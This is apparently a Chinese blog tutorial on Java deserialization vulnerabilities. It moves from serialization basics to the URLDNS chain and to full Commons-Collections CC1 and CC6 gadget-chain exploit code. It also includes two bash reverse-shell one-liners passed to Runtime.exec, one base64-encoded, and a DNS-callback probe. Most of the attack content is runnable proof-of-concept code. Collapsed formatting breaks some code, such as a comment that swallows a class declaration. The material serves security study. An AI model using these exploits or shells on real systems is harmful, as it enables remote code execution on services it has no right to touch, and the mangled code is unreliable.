> 文章列表 > JAVA反序列化漏洞基础

JAVA反序列化漏洞基础

JAVA反序列化漏洞基础

ObjectOutputStream

package com.test;
public class Employee implements java.io.Serializable{public String name;public String address;public transient int age; // transient瞬态修饰成员,不会被序列化public void addressCheck(){System.out.println("Address check : " + name + " -- " + address+" -- "+age);//此处省略tostring等方法}@Overridepublic String toString() {return "Employee{" +"name='" + name + '\\'' +", address='" + address + '\\'' +", age=" + age +'}';}
}
import com.test.Employee;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeDemo {public static void main(String[] args) throws IOException{Employee e = new Employee();e.name = "zhangsan";e.age = 20;e.address = "shenzhen";
// 1.创建序列化流try(ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));) {outputStream.writeObject(e);// 2.写出对象}catch (IOException e1){e1.printStackTrace();}
// 3.释放资源}
}

ObjectInputStream

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeDemo {public static void main(String[] args) throws IOException,ClassNotFoundException {
// 1.创建反序列化流FileInputStream fileInputStream = new FileInputStream("ser.txt");ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
// 2.使用ObjectInputStream中的readObject读取一个对象Object o = inputStream.readObject();
// 3.释放资源inputStream.close();fileInputStream.close();System.out.println(o);}
}

Employee{name=‘zhangsan’, address=‘shenzhen’, age=0}

反序列化漏洞的基本原理

import java.io.*;
public class demon {public static void main(String args[]) throws Exception{
//序列化
//定义myObj对象MyObject myObj = new MyObject();myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件ObjectOutputStream os = new ObjectOutputStream(newFileOutputStream("object"));
//writeObject()方法将myObj对象写入object文件os.writeObject(myObj);os.close();
//反序列化
//从文件中反序列化obj对象ObjectInputStream ois = new ObjectInputStream(newFileInputStream("object"));
//恢复对象MyObject objectFromDisk = (MyObject)ois.readObject();System.out.println(objectFromDisk.name);ois.close();}static class MyObject implements Serializable {public String name;//重写readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
//执行默认的readObject()方法in.defaultReadObject();
//执行打开计算器程序命令Runtime.getRuntime().exec("calc.exe");}}
}

serialVersionUID

private static final long serialVersionUID = 1L;

显示声明serialVersionUID可以避免对象不一致

URLDNS链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存

在什么版本限制。

使⽤Java内置的类构造,对第三⽅库没有依赖

在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用过程如下

 *   Gadget Chain:*     HashMap.readObject()*       HashMap.putVal()*         HashMap.hash()[->hash(key)]*           URL.hashCode()->handler.hashCodeURLStreamHandler.getHostAddress(u);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fErreZqz-1682249861683)(C:/Users/admin/AppData/Roaming/Typora/typora-user-images/image-20230419231929908.png)]

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest
{public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();URL url = new URL("http://sqn851.dnslog.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}
}
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class RrefilectDns{public static void main(String[] args) throws Exception{unserialize();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}

hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算

我们在序列化时通过反射修改hashCode的值是为了避免序列化生成payload时触发解析造成混淆影响判断

Runtime.getRuntime().exec 获取反弹shell

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

命令执行基础

package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
public class test {public static void main(String[] args) throws IOException {Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);}
}

cc1

transformedmap

调用链

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

POC

package com.superman;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC1Test {public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<Object, Object>();hashMap.put("value","2");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class, decorate);//serialize(o);unserialize("C://ser.txt");}public static void serialize(Object obj) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));objectOutputStream.writeObject(obj);objectOutputStream.close();}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));Object object = objectInputStream.readObject();return object;}} 
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;public class poc {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

lazymap

调用链

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

POC

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;public class CommonCollections12 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "xxx");Map outmap = LazyMap.decorate(innermap,transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}
}

cc6

CC1 链的时候要求是比较严格的。要求的环境为jdk8u65Commons-Collections 3.2.1

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  // CC6 链最终 EXPpublic class FinalCC6EXP public static void main(String[] args) throws Exception{  Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  };  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  HashMap<Object, Object> hashMap = new HashMap<>();  Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器  TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  HashMap<Object, Object> expMap = new HashMap<>();  expMap.put(tiedMapEntry, "value");  // 在 put 之后通过反射修改值  Class<LazyMap> lazyMapClass = LazyMap.class;  Field factoryField = lazyMapClass.getDeclaredField("factory");  factoryField.setAccessible(true);  factoryField.set(lazyMapClass, chainedTransformer);  serialize(expMap);  unserialize("ser.bin");  }  public static void serialize(Object obj) throws IOException {  ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  oos.writeObject(obj);  }  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  Object obj = ois.readObject();  return obj;  }  
}
package cc6.demo;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6test {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<Object,Object>();Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));HashMap<Object,Object> map2 = new HashMap<>();TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");map2.put(tiedMapEntry,"bbb");map.remove("aaa");Class c = LazyMap.class;Field fieldfactory = c.getDeclaredField("factory");fieldfactory.setAccessible(true);fieldfactory.set(lazymap,chainedTransformer);serialize(map2);unserialize("web.bin");}public static void serialize(Object object) throws IOException {FileOutputStream fileOutputStream = new FileOutputStream("web.bin");ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(object);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {FileInputStream fileInputStream = new FileInputStream(filename);ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);objectInputStream.readObject();}
}